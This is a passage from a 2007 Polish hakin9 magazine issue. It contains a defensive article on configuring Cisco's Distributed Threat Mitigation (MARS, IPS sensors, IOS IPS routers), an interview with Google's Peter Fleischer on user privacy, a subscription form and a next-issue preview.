z Internetem, powodują że systemy mające ambicje działać
w czasie rzeczywistym stają przed coraz trudniejszym zadaniem.
Z artykułu dowiesz się...
• jak wygląda architektura DTM Cisco;
• jakie elementy powinieneś zastosować w sieci,
by rozwiązanie;
• spełniało swoje zadanie;
• czym system różni się od innych, prostszych
rozwiązań bezpieczeństwa;
• i kiedy uzupełnia inne systemy, w tym systemy
zarządzania i;
• monitoringu.
Powinieneś wiedzieć...
• w jaki sposób sieci IP przenoszą ruch;
• czym charakteryzują się poszczególne ele-
menty bezpieczeństwa;
• sieciowego - firewalle, systemy uwierzytelnia-
nia i monitoringu;
• przyda się podstawowa znajomość systemu
Cisco IOS.
Rozwiązania DTM (Distributed Threat Mitigation)
hakin9 Nr 1/2007
www.hakin9.org
71
Unikalnym przykładem takiego sys-
temu jest Cisco MARS, o którym
szerzej w dalszej części artykułu.
Kolejny element systemu to de-
dykowane urządzenia pozwalają-
ce na aktywne zapobieganie ata-
kom sieciowym – czyli sensory IPS.
Systemy te z uwagi na swoją budo-
wę, działanie i ilość informacji które
analizują w trakcie normalnej pracy,
stają się doskonałym narzędziem do
szybkiego powstrzymywania dowol-
nego zagrożenia sieciowego – sta-
nowią bazę wiedzy na temat zagro-
żeń, dużo dokładniejszą niż dowolne
filtry ruchowe dostępne na routerach
czy w systemach firewall.
Ostatni element systemu to
urządzenia, które w ramach działa-
nia systemu DTM będą pod kontro-
lą systemu zarządzania – tj. w cza-
sie rzeczywistym będą mogły zo-
stać wyposażone w kryteria opisują-
ce ruch, który został zidentyfikowa-
ny jako wrogi i który należy zatrzy-
mać. W architekturze Cisco DTM ro-
lę takich urządzeń pełnią routery Ci-
sco ISR wyposażone w oprogramo-
wanie z systemem IPS.
Jak działa DTM?
Rozwiązanie DTM zostanie opisa-
ne na przykładzie rozwiązania Ci-
sco DTM.
Elementem centralnym jest sys-
tem Cisco MARS, który na podsta-
wie informacji spływających do nie-
go z całej sieci identyfikuje wspólnie
z systemami IPS konkretne zagroże-
nia czy niepożądane wzorce rucho-
we. Połączenie możliwości identyfi-
kacji i korelacji zdarzeń przez system
MARS, z możliwościami wykrywania
i klasyfikacji zagrożeń systemów Ci-
sco IPS daje administratorowi bez-
pieczeństwa wygodne i co najważ-
niejsze – sprawnie działające narzę-
Rysunek 1.
Menu systemu MARS
Rysunek 2.
Ekran konfiguracji urządzeń
Rysunek 3.
Pusta lista urządzeń zarządzanych
Jak widać, sam pomysł zautoma-
tyzowania pewnej sekwencji czyn-
ności nie jest nowy – dotychczaso-
we systemy tego typu działały na po-
dobnej zasadzie, ale brakowało im
szybkości, dokładności (opierały się
o konfigurowalne filtry pakietów w ro-
uterach i przełącznikach oraz reguły
ścian ogniowych, które z natury rze-
czy ograniczone są do informacji z
warstw 3-4 modelu ISO i pewnych
wybranych zagadnień normalizacyj-
nych dla poszczególnych protoko-
łów działających w warstwach wyż-
szych) oraz architektury zapewniają-
cej odpowiedni poziom bezpieczeń-
stwa (rekonfiguracja urządzeń odby-
wa się zwykle przez SNMP lub Tel-
net) i zintegrowanego raportowania
w czasie rzeczywistym.
Architektura DTM
Każdy system bezpieczeństwa, aby
móc efektywnie spełniać swoje za-
danie, powinien oprócz mechani-
zmów wykrywających i decyzyjnych,
komunikować się z administratorem.
Pierwszym składnikiem architektu-
ry DTM jest jak zawsze – system po-
zwalający na efektywne zarządzanie
całością rozwiązania.
Następny element, to rozwiąza-
nie pozwalające korelować ze sobą
informacje – serce architektury DTM.
Systemy monitorujące tego typu sta-
ją się coraz bardziej popularne, z
uwagi na fakt, że nawet pojedyn-
cze urządzenia sieciowe są w sta-
nie generować wiele różnego rodza-
ju informacji o swojej pracy – od ty-
powo utrzymaniowych (przepełnio-
ne interfejsy, krytyczny poziom pa-
mięci operacyjnej, zbyt duże obcią-
żenie procesorów sieciowych), przez
wszelkie związane z ich specyficzną
funkcjonalnością (np. trafienie pakie-
tu w listy kontroli dostępu, przekro-
czenie konkretnej wartości sesji dla
ścian ogniowych śledzących połą-
czenia, czy również gwałtowny skok
w ilości obsługiwanych połączeń gło-
sowych, utrata dostępu do zasobów
plikowych). Oczywiście w zależno-
ści od stopnia integracji oferowanej
przed producenta, systemy te waha-
ją się od bardzo płytko analizujące
docierające do nich informacje (lub
wymagające do skutecznej pracy
dużą ilość pracy integratorskiej, aby
dostosować ich bazę wiedzy do po-
siadanej infrastruktury) po zintegro-
wane z konkretnymi rozwiązaniami.
hakin9 Nr 1/2007
www.hakin9.org
Obrona
72
dzie do powstrzymania ataku w całej
zarządzanej przez niego sieci.
W momencie wykrycia zagroże-
nia przez system Cisco IPS, system
Cisco MARS informowany jest na
bieżąco o konkretnym typie i wszel-
kich identyfikowanych cechach tego
zagrożenia (adresy sieciowe, proto-
kół, cechy specyficzne dla protokołu
itd.). System MARS może w tym mo-
mencie wyzwolić jedną z własnych
reguł dotyczących obsługi tego typu
zdarzenia, w tym zapewnić automa-
tyczną dystrybucję opisu ataku (sy-
gnaturę) na zarządzane systemy IPS
– czyli routery (w tym konkretną gru-
pę routerów) z systemem IPS.
Oczywiście system osiąga naj-
większą skuteczność w sytuacji, gdy
pierwotny system IPS wykrywają-
cy atak posiada bogatą bazę sygna-
tur i anomalii – stąd zalecenie wyko-
rzystania dedykowanych sond Cisco
IPS (dedykowane urządzenia lub
karta do przełącznika Cisco Catalyst
6500), ale możliwe jest również wy-
korzystanie jako źródła informacji dla
systemu MARS routera Cisco ISR z
odpowiednio bogatym zestawem de-
finicji sygnatur.
Wraz z informacją o postaci za-
grożenia wysyłaną do routerów wy-
syłana jest również informacja o ak-
cji skojarzonej z wykryciem tego ty-
pu ruchu – może ona ograniczyć się
do alarmu, oraz do akcji bardziej ty-
powych – odrzucenia pakietu pasu-
jącego do sygnatury lub zresetowa-
niu połączenia, w którym potencjal-
nie szkodliwa zawartość została wy-
kryta.
Taka współpraca pomiędzy sen-
sorami IPS, systemem zarządzania
oraz routerami z systemem Cisco
IOS IPS możliwa jest dzięki dwóm
wspólnym mechanizmom – uniwer-
salnemu językowi opisywania sygna-
tury (Cisco SDF – Signature Defini-
tion File) oraz protokołowi transpor-
towemu (SDEE – Security Device
Event Exchange).
Przykład instalacji
rozwiązania – Cisco DTM
W tej części artykułu opiszemy przy-
kładową instalację systemu w oparciu
o pojedyncze elementy rozwiązania.
Rysunek 6.
Konfiguracja parametrów dostępowych do routera
Rysunek 7.
Dane dostępowe do IPS w routerze
Rysunek 4.
Wybór urządzenia – router Cisco
Rysunek 5.
Dodanie podsystemu IPS do routera
hakin9 Nr 1/2007
www.hakin9.org
Obrona
74
Konfiguracja routera
z funkcjonalnością Cisco
IOS IPS
Funkcjonalność obsługiwana jest na
routerach serii Cisco ISR 871, 1760,
1841, 2600, 3745, 3800, 7200, 7301
i 7401 z oprogramowaniem wspiera-
jącym mechanizmy bezpieczeństwa
oraz w wersji minimum 12.4(4)T. Na
routerze należy skonfigurować ob-
sługę protokołu HTTPS (SDEE wy-
korzystuje SSL jako protokół trans-
portowy) oraz SSH (MARS użyje po-
łączenia SSH do wywołania rekonfi-
guracji podsystemu IPS), a następ-
nie aktywować podsystem IPS.
Lokalne uwierzytelnianie połą-
czeń do routera z systemu MARS
(można oczywiście skorzystać z
uwierzytelniania w oparciu o system
TACACS+):
router(config)# username
login-dla-systemu-mars privilege 15
secret haslo-dla-marsa
Włączenie serwera HTTPS i usta-
wienie uwierzytelniania połączeń do
niego w oparciu o lokalną bazę użyt-
kowników.
router(config)# ip http secure-server
router(config)# ip http authentication
local
(oczywiście dostęp do serwera
HTTPS można następnie ograni-
czyć dodatkowo np. tylko do adre-
su IP systemu MARS, a także zasto-
sować inne mechanizmy chroniące
pracę routera, jest to jednak zagad-
nienie na osobny artykuł).
Następnie należy aktywować
funkcjonalność Cisco IOS IPS. Ro-
utery z oprogramowaniem zawiera-
jącym podsystemy bezpieczeństwa
dostarczane są z domyślnym zesta-
wem sygnatur zawartym w pliku at-
tack-drop.sdf, zapisanym na pamięci
flash. Jest to zestaw wyjściowy, któ-
ry w trakcie pracy urządzenia może
zostać wzbogacony o inne sygnatury
dosłane przez system MARS:
router(config)# ip ips notify sdee
router(config)# no ip ips notify log
Rysunek 10.
Tworzenie reguł dla Cisco DTM w CS-MARS
Rysunek 11.
Dodajemy regułę
Rysunek 8.
Konfiguracja sondy IPS serii 4200 w CS-MARS
Rysunek 9.
Opcje konfiguracji sond IPS w MARS
Rozwiązania DTM (Distributed Threat Mitigation)
hakin9 Nr 1/2007
www.hakin9.org
75
router(config)# ip sdee subscriptions 3
router(config)# ip sdee alerts 2000
router(config)# ip ips sdf location
flash:attack-drop.sdf autosave
router(config)# ip ips name Hackin9_IPS
Konfigurację routera wieńczy włą-
czenie podsystemu IPS na wybra-
nych interfejsach – w naszym przy-
padku jest to zewnętrzny interfejs Gi-
gabitEthernet 0/0 routera:
router(config)# interface
gigabitethernet 0/0
router(config-if)# ip ips Hackin9_IPS in
Konfiguracja
dedykowanego systemu
Cisco IPS 5.x
Tak jak wspomniano wcześniej sonda
Cisco IPS zawierać będzie bibliotekę
ataków i z uwagi na to zaleca się, by
było to urządzenie dedykowane– do-
stępne w ramach serii sond Cisco IPS
4200 lub w postaci karty do Cisco Ca-
talyst 6500. Możliwe jest również za-
stosowanie w tej roli routera z funkcjo-
nalnością Cisco IOS IPS, ale z uwa-
gi na mniejszą ilość sygnatur nawet
w największym zestawie (w momen-
cie pisania tego artykułu jest to około
600 w porównaniu do ponad 2000 w
systemach dedykowanych) nie jest to
rozwiązanie optymalne.
Jedyna konfiguracja wymagana
na urządzeniu pracującym jako źró-
dło informacji dla systemu MARS jest
dodanie jego adresu IP do listy klien-
tów dla protokołu SDEE – w tej kon-
figuracji MARS będąc klientem po-
łączy się do sondy (serwera SDEE)
i pobierze potrzebne informacje na
podstawie otrzymanych logów.
Konfiguracja systemu
Cisco MARS
Konfiguracja systemu MARS skła-
dać się będzie z dodania dedykowa-
nych systemów IPS, wskazania któ-
re routery (grupa) może zostać prze-
konfigurowana w ramach architek-
tury DTM, oraz dostosowania reguł
wyzwolenia akcji w ramach DTM.
Aby dodać routery, po zalogowa-
niu się do konsoli należy z menu Ad-
min wybrać opcję Security and Moni-
tor Devices.
Rysunek 15.
Konfiguracja akcji – wybieramy DTM
Rysunek 12.
Opisujemy regułę
Rysunek 13.
Określamy kryteria wystąpienia
Rysunek 14.
Określamy sondy które mogoą powodować wyzwolenie alarmu
Następnie kliknąć Add: wybrać
odpowiedni rodzaj urządzenia (w
naszym przypadku Cisco IOS 12.x)
(Rysunek 4).
A następnie wypełnić pola po-
zwalające systemowi MARS otrzy-
mać połączenie do routera: kolej-
ny krok to dodanie funkcjonalno-
ści IPS (Add IPS) do tak zdefinio-
wanego routera ze wskazaniem lo-
ginu i hasła dla połączenia protoko-
łem SDEE:
hakin9 Nr 1/2007
www.hakin9.org
Obrona
76
Dodanie systemów IPS pełnią-
cych funkcje raportujące i biblio-
teczne dla systemu MARS nastę-
puje analogicznie – wybieramy od-
powiedni typ urządzenia (w naszym
przypadku sonda Cisco IPS 5.x se-
rii 4200): oraz wskazujemy dane po-
zwalające kontaktować się z sondą:
Przeprowadzony powyżej pro-
ces można oczywiście zautomaty-
zować – posługując się na przykład
plikiem seed z systemu CiscoWorks,
pozwalającego automatycznie wczy-
tać wiele urządzeń bez żmudnego
przepisywania danych.
Konfiguracja systemu
Cisco MARS –
podsystem DTM
Po skonfigurowaniu urządzeń uczest-
niczących w systemie DTM, należy
zdefiniować co konkretnie ma dziać
się w ramach tej funkcjonalności dla
wybranego zakresu sieci, protokołów
Rysunek 17.
Wskazanie które routery mają otrzymać uaktualnienia
Rysunek 18.
Zdefiniowana reguła
(istnieją też inne kryteria na podsta-
wie których można podjąć takie a nie
inne decyzje).
Z menu Rules należy wybrać
CS-MARS Distributed Threat Mitiga-
tion (Cisco DTM) (Rysunek 10) klik-
nąć przycisk Add: opisać tą konkret-
ną regułę (oprócz nazwy możliwe
jest również umieszczenie dłuższe-
go komentarza): po kliknięciu Next
przechodzimy do zdefiniowania kry-
teriów działania reguły – w systemie
MARS poszczególne zdarzenia zgła-
szane przez urządzenia (np. wyko-
nanie NAT na pakiecie, zablokowa-
nie pakietu, itp.) są łączone i korelo-
wane, by następnie zostać przejrza-
ne przez reguły (pozwalające powią-
zać ze zdarzeniem akcję). W naszym
przypadku kryterium jest bardzo sze-
rokie – ruch może mieć dowolny adres
źródłowy, docelowy oraz rodzaj usługi
(Rysunek 13).
Jako Device należy wybrać dedyko-
wane sondy IPS, służy do tego odpo-
wiednie okno wyboru zdefiniowanych
wcześniej urządzeń (Rysunek 14).
Po dokończeniu definicji kry-
teriów (można dodatkowo określić
słowa kluczowe które muszą wy-
stąpić w zgłaszanym przez sondę
Rysunek 16.
Wybór akcji do wyzwolenia – tylko alarm
alarmie, poziom alarmu oraz ilość wystąpień danego
zdarzenia by MARS zareagował a także pory dnia i
nocy w których nadejście danego alarmu ma być bra-
ne pod uwagę przez system) z menu akcji wybiera-
my DTM (Rysunek 15) a następnie rodzaj akcji (alarm,
alarm+odrzucenie pakietów lub alarm+zresetowanie
połączenia) (Rysunek 16) i adresatów akcji – routery
z podsystemem IPS: następnie wracamy do główne-
go menu i z listy reguł zdefiniowanych przez użytkow-
nika wybieramy właśnie dodaną – należy ją jeszcze
aktywować (przez zaznaczenie przy nazwie regu-
ły ikonki v oraz kliknięcie przycisku ‘Activate’ w pra-
wym górnym rogu) po aktywowaniu reguł w systemie
MARS wystarczy poczekać na alarmy napływające
z sensorów IPS. Na podstawie zdefiniowanych reguł
MARS podejmie decyzje o rozpowszechnieniu i akty-
wowaniu odpowiednich sygnatur na routerach z pod-
systemem Cisco IOS IPS.
Poniżej przykład logu, w którym system MARS wy-
krył atak i dokonfigurował do routera pod adresem
192.168.247.196 trzy sygnatury – o identyfikatorach 1107,
2000 i 2004.
Podsumowanie
Architektura DTM, pozwalająca wzbogacić istnieją-
ce systemy bezpieczeństwa sieciowego o automa-
tyczną, realizowaną w czasie rzeczywistym rekon-
figurację pod kątem wykrywanych ataków stano-
wi ważny krok na drodze quasi-inteligentnych sys-
temów bezpieczeństwa, działających dużo dokład-
niej niż dostępne obecnie (i dające się policzyć na
palcach jednej ręki) systemy rekonfiguracji urządzeń
pozwalających na filtrowanie pakietów. Oczywiście,
należy spodziewać się rozszerzenia domeny zarów-
no urządzeń i oprogramowania raportującego (nieba-
wem jednym z nich będzie oprogramowanie na sta-
cje robocze i serwery Cisco Secure Agent, pełniące
role zaawansowanego systemu HIPS) jak i pozwala-
jącego na zatrzymywanie lub ograniczanie skutków
ataków (systemy firewall i VPN oraz zaawansowa-
ne przełączniki). W dobie sieci generujących setki,
tysiące i miliony zdarzeń w ciągu sekundy, nie mamy
już bowiem odwrotu – maszyny muszą zacząć wal-
czyć z maszynami. l
W Sieci:
• Cisco Security MARS: http://www.cisco.com/go/mars;
• Cisco IPS 5.x w urządzeniach serii 4200: http://www.
cisco.com/go/ips;
• Cisco IOS IPS: http://www.cisco.com/go/iosips;
• Przewodnik konfiguracji rozwiązania DTM: http://www.
cisco.com/en/US/products/ps6241/products_configura-
tion_example09186a008067a2b0.shtml.
www.hakin9.org
www.hakin9.org
hakin9 Nr 1/2007
78
Wywiad
Peter Fleischer
utrzymuje stały kontakt z oso-
bami mającymi wpływ na ochronę prywatno-
ści Internautów w Europie, by zagwarantować,
że Google będzie reagować na europejskie
oczekiwania na tym polu. Peter ma 10 – letnie
doświadczenie w dziedzinie ochrony danych.
Wcześniej pracował w firmie Microsoft jako
kierownik ds. prywatności w Europie i dyrektor
ds. regulacji ustawowych. Peter kształcił się w
USA (Harvard College i Harvard Law School)
i w Niemczech (LMU – Monachium). Przez
ostatnie dziesięć lat pracował w Paryżu.
hakin9:
Bezpieczeństwo danych w sie-
ci jest obecnie bardzo gorącym tematem.
Jakie działania podejmuje Google, by zapew-
nić swoim użytkownikom bezpieczeństwo ich
danych w sieci?
PF:
Nasze produkty, od początku swego ist-
nienia, mają wbudowane mechanizmy ochrony
prywatności, żaden z nich również nie wykorzy-
stuje danych personalnych użytkowników bez
ich zgody. Zawsze też prosimy użytkowników by
potwierdzili chęć korzystania z serwisów wyma-
gających ujawnienia poufnych danych.
Nasze zasady prywatności piszemy pro-
stym językiem, unikamy prawniczego żargo-
nu. Kiedy nie zachodzi potrzeba, nie wymaga-
my od użytkowników aby podawali nam swoje
dane. Z większości naszych serwisów można
korzystać anonimowo.
h9:
Nawiązując do prostoty językowej: czy
byłby Pan w stanie opisać nam zasady bez-
pieczeństwa prywatności w dosłownie kilku
punktach? Tak, aby każdy mógł w przejrzy-
sty sposób zapoznać się z nimi i zrozumieć,
bez potrzeby wdrażania się w zawiłości języ-
ka prawniczego.
PF:
Tak, oczywiście. Po pierwsze nasze
powiadomienia są proste i czytelne. Projek-
tujemy produkty, które jasno informują użyt-
kowników, jaki maja wpływ na ich prywatność
i zawsze, gdy jest to możliwe, pozostawiają
wybór. Przykładem może być Google Toolbar,
w którym unikamy prawniczego żargonu; w in-
terfejsie zachowany jest też styl Google. Naj-
ważniejsza w przechowywaniu danych jest
dla nas przejrzystość. Projektujemy produkty,
które jasno informują użytkowników, jaki mają
wpływ na ich prywatność i zawsze, gdy jest to
możliwe, pozostawiają wybór.
Równie istotnym jest, by zasady prywatno-
ści były łatwe do czytania. Jest to proste, jed-
nostronicowe podsumowanie najważniejszych
informacji o prywatności, z odnośnikami do
kompletnych zasad prywatności i informacji
o poszczególnych produktach. „Warstwowa”
architektura tekstu jest czytelna i zrozumiała.
Staramy również upewnić się, że partne-
rzy, z którymi współpracujemy także prze-
strzegają zasad prywatności. Tak jest w przy-
padku Google Analytics, oferującemu serwi-
som WWW szczegółowe, anonimowe rapor-
ty statystyczne, dotyczące interakcji odwie-
dzających z tymi serwisami. Google wymaga,
aby zewnętrzni użytkownicy oprogramowania
Analytics publikowali zasady prywatności i in-
Wywiad z Peterem
Fleischerem
Peter Fleischer, kieruje pracami Google w zakresie ochory
prywatności w regionie EMEA (obszar Europy, Bliskiego Wschodu
i Afryki). Jego zadaniem jest dopilnownie, by firma Google chroniła
prywatność użytkowników swoich produktów, wywiązywała się
ze wszelkich zobowiązań prawnych i systematycznie podnosiła
standardy ochrony prywatności w Internecie.
Wywiad
hakin9 Nr 1/2007
www.hakin9.org
79
formowali swoich użytkowników o tym, że serwis wyko-
rzystuje Cookiem, który gromadzi anonimowe dane.
h9:
Widzę, że Google kładzie duży nacisk, aby na
każdym kroku wyjaśnić, co się dzieje z prywatnymi dany-
mi użytkowników. Czy w związku z tym użytkownicy chęt-
niej sięgają po serwisy Google?
PF:
Wyjaśniamy szczegółowo jak działa innowacyj-
ny serwis, co przynosi bardzo dobre efekty. Przykładem
może być Gmail – darmowy serwis poczty elektronicznej,
utrzymywany z „kontekstowych reklam”, bazujących na sło-
wach w e-mailach. Wystąpiły pewne wątpliwości dotyczą-
ce prywatności podczas premiery – zadawano pytania, czy
Google czyta e-maile, aby wyświetlać reklamy? Te wątpli-
wości zniknęły, gdy użytkownicy zapoznali się z działaniem
Gmail: e-maile są czytane przez automatyczne oprogramo-
wanie, nie przez ludzi. Działa na zasadzie reklam dostoso-
wanych do grupy targetowej, które pojawiają się gdy korzy-
stamy z wyszukiwarki Google. Jest podobny do oprogramo-
wania skanującego wirusy oraz spam. Poza tym, reklamy
są dynamiczne i w czasie rzeczywistym, nie są tworzone
stałe zapisy i profile. Wierzymy, że nasi użytkownicy wolą
widzieć interesujące dla nich reklamy, zamiast losowo poja-
wiające się reklamówki.
h9:
Rozumiem, że prawo chroni dane osobowe. Ale
co zrobić w przypadku, gdy rząd danego państwa wyda-
je polecenie monitorowania danych?
PF:
Google sprzeciwia się nadmiernym żądaniom do-
stępu do danych ze strony rządu. Przytoczę przypadek, gdy
amerykański Departament Sprawiedliwości zaangażował
się w proces dotyczący konstytucjonaliści amerykańskiej
ustawy z 1998r. o ochronie dzieci w Internecie. Celem było
określenie, czy filtry programowe byłyby skuteczne w reali-
zowaniu założeń prawa, bez ograniczania swobody wypo-
wiedzi. Departament Sprawiedliwości wysłał wezwanie do
Google, a także do AOL, Yahoo, MSN i wielu innych firm.
Od Google żądał przekazania miliardów adresów URL i mi-
lionów zapytań do wyszukiwarki. Google zdecydował się na
spór w sądzie, aby sprzeciwić się temu wezwaniu. W uza-
sadnieniu Google podał, że wezwanie było przesadne, bez
znaczenia dla sprawy, naruszało prywatność użytkowników
i zagrażało własności firmy. Sędzia Ware orzekł werdykt na
korzyść Google (nakazując przedstawienie 5000 adresów
URL żadnych zapytań). Jest to ważny precedens prawny
w walce o zrównoważenie rządowego dostępu do informa-
cji z oczekiwaniami użytkowników w zakresie prywatności.
Zanim wdrożymy nową usługę (np. Google Image
Search lub Google Earth) upewniamy się, że jest ona stu-
procentowo bezpieczna dla użytkowników. Nie możemy
sobie pozwolić, by wydać cokolwiek, co mogłoby powo-
dować niebezpieczeństwo dla prywatności. Pracujemy też
nad zachowaniem prywatności w Web 2.0. Komputery-
zacja zdąża w kierunku modelu usługowego, gdzie użyt-
kownicy coraz częściej decydują się na przechowywanie
swoich Nawych i uruchamianie aplikacji online, takich jak
poczta przez WWW, dokumenty, kalendarze, czaty, blogi
itd. Przykładowe usługi, które przechowują dane użytkow-
ników centralnie, ale mają dostęp z każdego miejsca to:
• Poczta przez WWW (MSN Hotmail, Yahoo Mail,
Gmail, Web. De FreeMail);
• Przechowywanie plików online (Yahoo Brief Case,
Microsoft FolderShare, AOL Xdrive);
• Kopie zapasowe online – automatycznie pobierają pli-
ki z prywatnego komputera i tworzą kopie zapasowe
na scentralizowanych serwerach.
Logowanie z dowolnego komputera, telefonu komórkowe-
go lub urządzenia podłączonego do Internetu, dające na-
tychmiastowy dostęp do wszystkich aplikacji i danych, z
możliwością ich przeszukania, co jest bardzo cenne dla
użytkowników. Funkcja SAC, czyli wyszukiwanie między
komputerami) w Google Desktop to mały przykład duże-
go trendu.
h9:
Jakie działania podejmuje Google, aby zapewnić
komfort klientom, którzy zdecydowali się przenieść dane
ze swojego komputera na wasz serwer?
PF:
Ostrzeżenia,że pliki zostaną przeniesione do ser-
werów Google Desktop są bardzo czytelne. Użytkowni-
cy mogą precyzyjnie określić, które dane chcą udostęp-
nić, a których nie chcą udostępniać. Umieściliśmy rów-
nież przycisk, za pomocą którego można łatwo skasować
wszystkie własne pliki z serwerów Google Desktop.
h9:
W Stanach Zjednoczonych dane w komputerze
PC użytkownika w jago domu są silnie chronione przez
czwartą poprawkę do Konstytucji. Aby je udostępnić, nie-
zbędny jest sądowy nakaz przeszukania. Jednak dane
na serwerach korporacyjnych mają tę ochronę dużo słab-
szą – jest ona zapewniana przez ustawę o prywatności
komunikacji elektronicznej. Stawia ona dużo niższe wy-
mogi, gdy chodzi o rządowy dostęp do danych określone-
go typu – w tym przypadku wystarczy jedynie wezwanie.
Przepisy na świecie nie zapewniają takiego samego po-
ziomu ochrony. Co zrobić, aby zmienić ten stan rzeczy?
PF:
Google uważa, że dane użytkowników powinny
podlegać takiej samej ochronie prywatności, niezależnie
od tego, czy są przechowywane na ich własnych kompute-
rach, czy na serwerach stron trzecich. Aby usunąć przyto-
czoną anomalię prawną, Google wspiera stworzenie fede-
ralnej ustawy o prywatności konsumentów i zaktualizowa-
nie ustawy o prywatności komunikacji elektronicznej.
W Unii Europejskiej kwestie ochrony danych w trzecim
filarze regulacji wzbudzają poważny niepokój. Przepisy
o przechowywaniu danych (Europa, USA, inne części
świata) podniosą stawkę. Usługi Web 2.0 zwiększa gwał-
townie liczbę danych na serwerach, wymagane będzie ich
utrzymanie, a rządy i służby odpowiedzialne za egzekwo-
wanie prawa będą chciały mieć do nich dostęp. Google
już spotkał się w sądzie z Amerykańskim Departamentem
Sprawiedliwości w sprawie gigantycznego przekazania
danych. Google chce pracować ze wszystkim zaintereso-
wanymi stronami, aby zagwarantować, że zasady ochrony
danych będą szanowane w świecie Web 2.0: To nasz biz-
nes i nasze wartości. l
Rozmawiała: Marta Ogonek
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 887 14 44
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumeraty dwuletniej Aurox Linux
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Suma
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
12
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
Hakin9, jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
199
1
/219
.psd (1 płyta CD + film instruktażowy)
Dwumiesięcznik użytkowników programu Adobe Photoshop
6
140
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
Aurox Linux (4 płyty CD + 1 płyta DVD)
Magazyn z najpopularniejszym polskim Linuksem
4
119
3
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży w połowie stycznia 2007 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
hakin9
2/2007
w następnym numerze
między innymi:
Zapowiedzi
StMichael – protektor integralności
Linux Kernel
Wiele zabezpieczeń Linuksa nie chroni bezpośrednio jądra co umożliwia zło-
śliwym programom, działającym tak jak np.: robak win32 na wślizgnięcie się
do systemu. StMichael może chronić jądro przeciwko rootkitom np.: przez
monitorowanie licznych fragmentów jądra. Rodrigo Rubira Branco przedsta-
wi jak korzystać z StMichaela i w jaki sposób chroni on nasz system.
Bezpieczne programowanie
serwerów sieciowych
System oprogramowania trapdoor2 jest przykładem na opisanie technik pro-
gramistycznych jako ochrony przed atakami przy użyciu języka C. Andre-
as Krennmair opisze system oprogramowania do bezpiecznego wywoływa-
nia niezdefiniowanych komend ponad siecią używając metody autentykacji i
środka bezpieczeństwa warstwy transportowej.
Techniki maskowania obecności w GNU/Linux
W artykule omówimy przechwytywanie wywołań otwarcia jakiegoś pliku,
sprawdzenie jego nazwy oraz opiszemy co się dzieje w przypadku jeśli
nazwa zgadza się z jakąś wymyśloną wcześniej. Artykuł przedstawia pod-
stawowe techniki maskowania użytkownika w systemie
Obrona
Na CD:
• hakin9.live - butowalna dystrybucja Linuksa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień
poruszanych w artykułach;
• specjalne wersje komercyjnych programów;
• e-books – książki elektroniczne;
• kurs na certyfikat Cisco CCNA.
Atak